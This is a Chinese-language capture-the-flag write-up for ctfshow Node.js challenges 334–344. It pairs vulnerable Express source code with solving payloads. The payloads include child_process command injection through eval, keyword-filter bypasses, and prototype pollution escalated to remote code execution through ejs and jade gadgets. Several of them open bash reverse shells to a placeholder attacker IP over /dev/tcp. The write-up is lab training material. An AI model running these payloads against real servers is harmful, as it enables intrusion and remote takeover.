334
源码给了 登录成功就能拿到flag
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};
router.post('/', function(req, res, next) {res.type('html');var flag='flag_here';var sess = req.session;var user = findUser(req.body.username, req.body.password);if(user){req.session.regenerate(function(err) {if(err){return res.json({ret_code: 2, ret_msg: '登录失败'}); }req.session.loginUser = user.username;res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag}); });}else{res.json({ret_code: 1, ret_msg: '账号或密码错误'});} });module.exports = router;
看到这里的判断逻辑
只要把给的用户名全改为小写就行了 登录:ctfshow 123456
335
源码里给了提示,应该是命令执行
这里直接用nodejs执行shell命令的paylaod就可以了
具体可以看官方文档 http://nodejs.cn/api/child_process.html
?eval=require('child_process').execSync('cat f*')
336
跟335一样的环境,但同样的payload打不通了 估计存在关键字过滤了
换一个方法读
?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl00g.txt' ] ).stdout.toString()
字符串拼接也可以
?eval=require('child_process')['ex'+'ecSync']('cat f*')
(要url编码一下,+号会被url解析为空格)
337
源码直接给了
看这里
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}
这里很简单的逻辑 用数组绕过即可
?a[]=1&b=1
338
源码里有copy函数,很明显的原型链污染
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); }});module.exports = router;
只要满足secert.ctfshow===‘36dboy’就能拿到flag
看到utils.copy(user,req.body)知道利用原型链污染
{"__proto__":{"ctfshow":"36dboy"}}
339
这题源码多了个api.js 并且原来原型链污染的地方做了点改动
api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});});module.exports = router;
改动的地方
这个不太好利用了,关键在api.js文件里面,参考羽师傅的wp,有个预期解和非预期解
https://blog.csdn.net/miuzzx/article/details/111780832
这里利用变量覆盖控制query的值
function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}
var user ={}
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query);
运行上面代码可以发现query已经被赋值了
我们要利用这个原理给api.js中的query赋值
payload
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的公网ip地址/端口 0>&1\"')"}}
在login路由发包,再用post方法访问/api即可反弹shell,flag在login.js里
340
跟339一个原理,但有个修改
只不过这次user.__proto__.___proto__才是Object,所以要向上两层
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的公网ip/1234 0>&1\"')"}}}
341
这题没了api.js 要用到前面339和340的非预期解
ejs的rce可以参考这篇文章ejs rce
跟340一样需要两层__proto__
payload
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的公网ip/1234 0>&1\"');var __tmp2"}}}
342
这题改了一下
原来的ejs变成了jade,不过jade也存在原型链污染
jade原型链污染
payload
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/你的公网ip/1234 0>&1\"')"}}}
记得发包的时候改成application/json
343
跟342一样,虽然做了过滤,但还是可以用
344
源码很短
router.get('/', function(req, res, next) {res.type('html');var flag = 'flag_here';if(req.url.match(/8c|2c|\,/ig)){res.end('where is flag :)');}var query = JSON.parse(req.query.query);if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){res.end(flag);}else{res.end('where is flag. :)');}});
原来?query={"name":"admin","password":"ctfshow","isVIP":true}
逗号被过滤了,用&代替 所以变成
?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
但2c被过滤了,双引号的url编码为%22会跟ctfshow前面的c拼接成2c,所以需要将c编码
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}